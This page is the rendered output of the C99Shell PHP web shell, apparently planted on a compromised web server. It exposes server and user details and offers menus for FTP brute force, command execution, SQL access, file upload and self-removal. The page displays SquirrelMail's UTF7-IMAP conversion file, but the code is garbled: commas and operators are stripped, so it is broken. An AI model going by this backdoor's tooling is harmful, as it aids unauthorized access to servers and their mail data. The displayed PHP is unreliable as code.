!C99Shell v. 1.0 pre-release build #13!

Software: Apache/2.0.54 (Unix) mod_perl/1.99_09 Perl/v5.8.0 mod_ssl/2.0.54 OpenSSL/0.9.7l DAV/2 FrontPage/5.0.2.2635 PHP/4.4.0 mod_gzip/2.0.26.1a 

uname -a: Linux snow.he.net 4.4.276-v2-mono-1 #1 SMP Wed Jul 21 11:21:17 PDT 2021 i686 

uid=99(nobody) gid=98(nobody) groups=98(nobody) 

Safe-mode: OFF (not secure)

/usr/local/webmail2/functions/   drwxr-xr-x
Free 318.36 GB of 458.09 GB (69.5%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     imap_utf7_local.php (8.39 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * functions/imap_utf7_local.php - utf7-imap functions
 *
 * This implements all functions that do imap UTF7 conversions.
 * Before 1.3.2 functions were stored in imap_utf7_decode_local.php and
 * imap_utf7_encode_local.php files.
 *
 * @copyright &copy; 1999-2006 The SquirrelMail Project Team
 * @license http://opensource.org/licenses/gpl-license.php GNU Public License
 * @version $Id: imap_utf7_local.php,v 1.24 2006/01/23 18:39:33 tokul Exp $
 * @package squirrelmail
 * @subpackage imap
 * @since 1.3.2
 */

/**
 * Function that uses php mbstring functions to convert from and to utf7-imap charset
 *
 * Since 1.5.1 list of supported charsets depends sq_mb_list_encoding function.
 * Before that it was hardcoded to iso-8859-x, utf-8 and iso-2022-jp.
 * @param string $str folder name
 * @param string $to_encoding name of resulting charset
 * @param string $from_encoding name of original charset
 * @param string $default_charset default charset used by translation.
 * @return string encoded folder name or ''
 * @since 1.4.2
 */
function sqimap_mb_convert_encoding($str$to_encoding$from_encoding$default_charset) {
    
$supported_encodings=sq_mb_list_encodings();
    if ( 
in_array(strtolower($default_charset),$supported_encodings) &&
         
function_exists('mb_convert_encoding')) {
        return 
mb_convert_encoding($str$to_encoding$from_encoding);
    }
    return 
'';
}

/**
 * encode folder name to utf7-imap
 *
 * If mbstring functions do not support charset used by translation, falls back to iso-8859-1
 * @param string $s folder name
 * @return string utf7-imap encoded folder name
 * @since 1.2.7
 */
function imap_utf7_encode_local($s) {
    global 
$languages$squirrelmail_language;

    if (isset(
$languages[$squirrelmail_language]['XTRA_CODE']) &&
            
function_exists($languages[$squirrelmail_language]['XTRA_CODE'].'_utf7_imap_encode')) {
        return 
call_user_func($languages[$squirrelmail_language]['XTRA_CODE'] . '_utf7_imap_encode'$s);
    }

    if (
$s == '')    //If empty, don't bother
        
return '';

    global 
$default_charset;
    
set_my_charset();    //must be called before using $default_charset
    
if ((strtolower($default_charset) != 'iso-8859-1') && ($default_charset != '')) {
        
$utf7_s sqimap_mb_convert_encoding($s'UTF7-IMAP'$default_charset$default_charset);
        if (
$utf7_s != '')
            return 
$utf7_s;
    }

    
// Later code works only for ISO-8859-1

    
$b64_s '';     // buffer for substring to be base64-encoded
    
$utf7_s '';    // imap-utf7-encoded string
    
for ($i 0$i strlen($s); $i++) {
        
$c $s[$i];
        
$ord_c ord($c);
        if (((
$ord_c >= 0x20) and ($ord_c <= 0x25)) or
                ((
$ord_c >= 0x27) and ($ord_c <= 0x7e))) {
            if (
$b64_s) {
                
$utf7_s $utf7_s '&' encodeBASE64($b64_s) .'-';
                
$b64_s '';
            }
            
$utf7_s $utf7_s $c;
        } elseif (
$ord_c == 0x26) {
            if (
$b64_s) {
                
$utf7_s $utf7_s '&' encodeBASE64($b64_s) . '-';
                
$b64_s '';
            }
            
$utf7_s $utf7_s '&-';
        } else {
            
$b64_s $b64_s chr(0) . $c;
        }
    }
    
//
    // flush buffer
    //
    
if ($b64_s) {
        
$utf7_s $utf7_s '&' encodeBASE64($b64_s) . '-';
        
$b64_s '';
    }
    return 
$utf7_s;
}

/**
 * converts folder name from utf7-imap to charset used by translation
 *
 * If mbstring functions do not support charset used by translation, falls back to iso-8859-1
 * @param string $s folder name in utf7-imap
 * @return string folder name in charset used by translation
 * @since 1.2.7
 */
function imap_utf7_decode_local($s) {
    global 
$languages$squirrelmail_language;

    if (isset(
$languages[$squirrelmail_language]['XTRA_CODE']) &&
            
function_exists($languages[$squirrelmail_language]['XTRA_CODE'] . '_utf7_imap_decode')) {
        return 
call_user_func($languages[$squirrelmail_language]['XTRA_CODE'] . '_utf7_imap_decode'$s);
    }

    if (
$s == '')    //If empty, don't bother
        
return '';

    global 
$default_charset;
    
set_my_charset();    //must be called before using $default_charset
    
if ((strtolower($default_charset) != 'iso-8859-1') && ($default_charset != '')) {
        
$utf7_s sqimap_mb_convert_encoding($s$default_charset'UTF7-IMAP'$default_charset);
        if (
$utf7_s != '')
            return 
$utf7_s;
    }

    
// Later code works only for ISO-8859-1

    
$b64_s '';
    
$iso_8859_1_s '';
    for (
$i 0$len strlen($s); $i $len$i++) {
        
$c $s[$i];
        if (
strlen($b64_s) > 0) {
            if (
$c == '-') {
                if (
$b64_s == '&') {
                    
$iso_8859_1_s $iso_8859_1_s '&';
                } else {
                    
$iso_8859_1_s $iso_8859_1_s .
                        
decodeBASE64(substr($b64_s1));
                }
                
$b64_s '';
            } else {
                
$b64_s $b64_s $c;
            }
        } else {
            if (
$c == '&') {
                
$b64_s '&';
            } else {
                
$iso_8859_1_s $iso_8859_1_s $c;
            }
        }
    }
    return 
$iso_8859_1_s;
}
/**
 * Converts string to base64
 * @param string $s string
 * @return string base64 encoded string
 * @since 1.2.7
 */
function encodeBASE64($s) {
    
$B64Chars 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+,';
    
$p 0;     // phase: 1 / 2 / 3 / 1 / 2 / 3...
    
$e '';    // base64-encoded string
    //foreach($s as $c) {
    
for ($i 0$i strlen($s); $i++) {
        
$c $s[$i];
        if (
$p == 0) {
            
$e $e substr($B64Chars, ((ord($c) & 252) >> 2), 1);
            
$t = (ord($c) & 3);
            
$p 1;
        } elseif (
$p == 1) {
            
$e $e $B64Chars[($t << 4) + ((ord($c) & 240) >> 4)];
            
$t = (ord($c) & 15);
            
$p 2;
        } elseif (
$p == 2) {
            
$e $e $B64Chars[($t << 2) + ((ord($c) & 192) >> 6)];
            
$e $e $B64Chars[ord($c) & 63];
            
$p 0;
        }
    }
    
//
    // flush buffer
    //
    
if ($p == 1) {
        
$e $e $B64Chars[$t << 4];
    } elseif (
$p == 2) {
        
$e $e $B64Chars[$t << 2];
    }
    return 
$e;
}

/**
 * Converts string from base64
 * @param string $s base64 encoded string
 * @return string decoded string
 * @since 1.2.7
 */
function decodeBASE64($s) {
    
$B64Values = array(
            
'A' =>  0'B' =>  1'C' =>  2'D' =>  3'E' =>  4'F' =>  5,
            
'G' =>  6'H' =>  7'I' =>  8'J' =>  9'K' => 10'L' => 11,
            
'M' => 12'N' => 13'O' => 14'P' => 15'Q' => 16'R' => 17,
            
'S' => 18'T' => 19'U' => 20'V' => 21'W' => 22'X' => 23,
            
'Y' => 24'Z' => 25,
            
'a' => 26'b' => 27'c' => 28'd' => 29'e' => 30'f' => 31,
            
'g' => 32'h' => 33'i' => 34'j' => 35'k' => 36'l' => 37,
            
'm' => 38'n' => 39'o' => 40'p' => 41'q' => 42'r' => 43,
            
's' => 44't' => 45'u' => 46'v' => 47'w' => 48'x' => 49,
            
'y' => 50'z' => 51,
            
'0' => 52'1' => 53'2' => 54'3' => 55'4' => 56'5' => 57,
            
'6' => 58'7' => 59'8' => 60'9' => 61'+' => 62',' => 63
            
);
    
$p 0;
    
$d '';
    
$unicodeNullByteToggle 0;
    for (
$i 0$len strlen($s); $i $len$i++) {
        
$c $s[$i];
        if (
$p == 0) {
            
$t $B64Values[$c];
            
$p 1;
        } elseif (
$p == 1) {
            if (
$unicodeNullByteToggle) {
                
$d $d chr(($t << 2) + (($B64Values[$c] & 48) >> 4));
                
$unicodeNullByteToggle 0;
            } else {
                
$unicodeNullByteToggle 1;
            }
            
$t = ($B64Values[$c] & 15);
            
$p 2;
        } elseif (
$p == 2) {
            if (
$unicodeNullByteToggle) {
                
$d $d chr(($t << 4) + (($B64Values[$c] & 60) >> 2));
                
$unicodeNullByteToggle 0;
            } else {
                
$unicodeNullByteToggle 1;
            }
            
$t = ($B64Values[$c] & 3);
            
$p 3;
        } elseif (
$p == 3) {
            if (
$unicodeNullByteToggle) {
                
$d $d chr(($t << 6) + $B64Values[$c]);
                
$unicodeNullByteToggle 0;
            } else {
                
$unicodeNullByteToggle 1;
            }
            
$t = ($B64Values[$c] & 3);
            
$p 0;
        }
    }
    return 
$d;
}

?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0149 ]--